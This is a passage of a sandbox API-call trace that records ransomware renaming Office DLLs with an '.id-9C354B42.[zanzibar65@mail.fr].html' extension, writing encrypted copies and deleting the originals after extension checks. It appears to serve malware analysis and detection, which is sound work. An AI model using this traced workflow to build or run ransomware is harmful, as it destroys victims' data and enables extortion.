(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0057.863] lstrlenW (lpString=".doc") returned 4 [0057.863] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.864] lstrlenW (lpString=".docx") returned 5 [0057.864] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.864] lstrlenW (lpString=".pdf") returned 4 [0057.864] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.864] lstrlenW (lpString=".xls") returned 4 [0057.864] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.864] lstrlenW (lpString=".xlsx") returned 5 [0057.864] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.864] lstrlenW (lpString=".ppt") returned 4 [0057.864] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0057.864] lstrlenW (lpString=".zip") returned 4 [0057.864] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.864] lstrlenW (lpString=".rar") returned 4 [0057.864] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.864] lstrlenW (lpString=".bz2") returned 4 [0057.864] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.864] lstrlenW (lpString=".7z") returned 3 [0057.864] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0057.864] lstrlenW (lpString=".dbf") returned 4 [0057.864] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0057.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0057.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0058.314] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.314] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0058.315] GetLastError () returned 0x0 [0058.315] ReadFile (in: hFile=0x1ac, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x25b50, lpOverlapped=0x0) returned 1 [0058.321] WriteFile (in: hFile=0x234, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x25b60, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x25b60, lpOverlapped=0x0) returned 1 [0058.324] ReadFile (in: hFile=0x1ac, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.324] WriteFile (in: hFile=0x234, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.325] SetEndOfFile (hFile=0x234) returned 1 [0058.325] CloseHandle (hObject=0x234) returned 1 [0058.325] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.325] SetEndOfFile (hFile=0x1ac) returned 1 [0058.326] CloseHandle (hObject=0x1ac) returned 1 [0058.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.327] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 1 [0058.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.327] lstrlenW (lpString=".doc") returned 4 [0058.327] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.327] lstrlenW (lpString=".docx") returned 5 [0058.327] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.327] lstrlenW (lpString=".pdf") returned 4 [0058.328] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.328] lstrlenW (lpString=".xls") returned 4 [0058.328] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.328] lstrlenW (lpString=".xlsx") returned 5 [0058.328] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.328] lstrlenW (lpString=".ppt") returned 4 [0058.328] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.328] lstrlenW (lpString=".zip") returned 4 [0058.328] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.328] lstrlenW (lpString=".rar") returned 4 [0058.328] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.328] lstrlenW (lpString=".bz2") returned 4 [0058.328] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.328] lstrlenW (lpString=".7z") returned 3 [0058.328] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.328] lstrlenW (lpString=".dbf") returned 4 [0058.328] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.328] lstrlenW (lpString=".1cd") returned 4 [0058.328] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.328] lstrlenW (lpString=".jpg") returned 4 [0058.328] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.328] lstrlenW (lpString=".doc") returned 4 [0058.328] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.328] lstrlenW (lpString=".docx") returned 5 [0058.328] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.329] lstrlenW (lpString=".pdf") returned 4 [0058.329] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.329] lstrlenW (lpString=".xls") returned 4 [0058.329] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.329] lstrlenW (lpString=".xlsx") returned 5 [0058.329] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.329] lstrlenW (lpString=".ppt") returned 4 [0058.329] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.329] lstrlenW (lpString=".zip") returned 4 [0058.329] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.329] lstrlenW (lpString=".rar") returned 4 [0058.329] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.329] lstrlenW (lpString=".bz2") returned 4 [0058.329] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.329] lstrlenW (lpString=".7z") returned 3 [0058.329] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.329] lstrlenW (lpString=".dbf") returned 4 [0058.329] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.329] lstrlenW (lpString=".1cd") returned 4 [0058.329] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0058.329] lstrlenW (lpString=".jpg") returned 4 [0058.329] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.329] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.329] lstrlenW (lpString="MSOINTL.DLL") returned 11 [0058.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.330] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2528128) returned 1 [0058.330] CloseHandle (hObject=0x1ac) returned 1 [0058.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0058.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0058.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.332] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0058.332] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.332] ReadFile (in: hFile=0x1ac, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.335] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.335] ReadFile (in: hFile=0x1ac, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.346] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.346] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.346] ReadFile (in: hFile=0x1ac, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.482] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.482] WriteFile (in: hFile=0x1ac, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0058.498] SetEndOfFile (hFile=0x1ac) returned 1 [0058.710] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0058.714] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.714] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.715] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.715] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.721] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.721] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.724] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0058.727] CloseHandle (hObject=0x1ac) returned 1 [0058.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.727] lstrlenW (lpString=".doc") returned 4 [0058.727] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.727] lstrlenW (lpString=".docx") returned 5 [0058.727] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.727] lstrlenW (lpString=".pdf") returned 4 [0058.728] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.728] lstrlenW (lpString=".xls") returned 4 [0058.728] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.728] lstrlenW (lpString=".xlsx") returned 5 [0058.728] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.728] lstrlenW (lpString=".ppt") returned 4 [0058.728] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.728] lstrlenW (lpString=".zip") returned 4 [0058.728] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.728] lstrlenW (lpString=".rar") returned 4 [0058.728] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.728] lstrlenW (lpString=".bz2") returned 4 [0058.728] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.728] lstrlenW (lpString=".7z") returned 3 [0058.728] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.728] lstrlenW (lpString=".dbf") returned 4 [0058.728] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.728] lstrlenW (lpString=".1cd") returned 4 [0058.728] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.728] lstrlenW (lpString=".jpg") returned 4 [0058.728] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.728] lstrlenW (lpString=".doc") returned 4 [0058.728] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.728] lstrlenW (lpString=".docx") returned 5 [0058.729] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.729] lstrlenW (lpString=".pdf") returned 4 [0058.729] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.729] lstrlenW (lpString=".xls") returned 4 [0058.729] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.729] lstrlenW (lpString=".xlsx") returned 5 [0058.729] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.729] lstrlenW (lpString=".ppt") returned 4 [0058.729] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.729] lstrlenW (lpString=".zip") returned 4 [0058.729] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.729] lstrlenW (lpString=".rar") returned 4 [0058.729] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.729] lstrlenW (lpString=".bz2") returned 4 [0058.729] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.729] lstrlenW (lpString=".7z") returned 3 [0058.729] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.729] lstrlenW (lpString=".dbf") returned 4 [0058.729] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.729] lstrlenW (lpString=".1cd") returned 4 [0058.729] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0058.729] lstrlenW (lpString=".jpg") returned 4 [0058.729] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.729] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.729] lstrlenW (lpString="OARPMANR.DLL") returned 12 [0058.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0059.552] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=11656) returned 1 [0059.552] CloseHandle (hObject=0x21c) returned 1 [0059.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0059.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0059.552] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.553] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0059.553] GetLastError () returned 0x0 [0059.553] ReadFile (in: hFile=0x21c, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x2d88, lpOverlapped=0x0) returned 1 [0059.555] WriteFile (in: hFile=0x1d8, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0059.556] ReadFile (in: hFile=0x21c, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.556] WriteFile (in: hFile=0x1d8, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.557] SetEndOfFile (hFile=0x1d8) returned 1 [0059.557] CloseHandle (hObject=0x1d8) returned 1 [0059.557] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.557] SetEndOfFile (hFile=0x21c) returned 1 [0059.558] CloseHandle (hObject=0x21c) returned 1 [0059.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.558] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 1 [0059.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.558] lstrlenW (lpString=".doc") returned 4 [0059.558] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.558] lstrlenW (lpString=".docx") returned 5 [0059.558] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0059.558] lstrlenW (lpString=".pdf") returned 4 [0059.558] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.558] lstrlenW (lpString=".xls") returned 4 [0059.558] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.558] lstrlenW (lpString=".xlsx") returned 5 [0059.558] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0059.558] lstrlenW (lpString=".ppt") returned 4 [0059.559] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.559] lstrlenW (lpString=".zip") returned 4 [0059.559] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.559] lstrlenW (lpString=".rar") returned 4 [0059.559] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.559] lstrlenW (lpString=".bz2") returned 4 [0059.559] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.559] lstrlenW (lpString=".7z") returned 3 [0059.559] lstrcmpiW 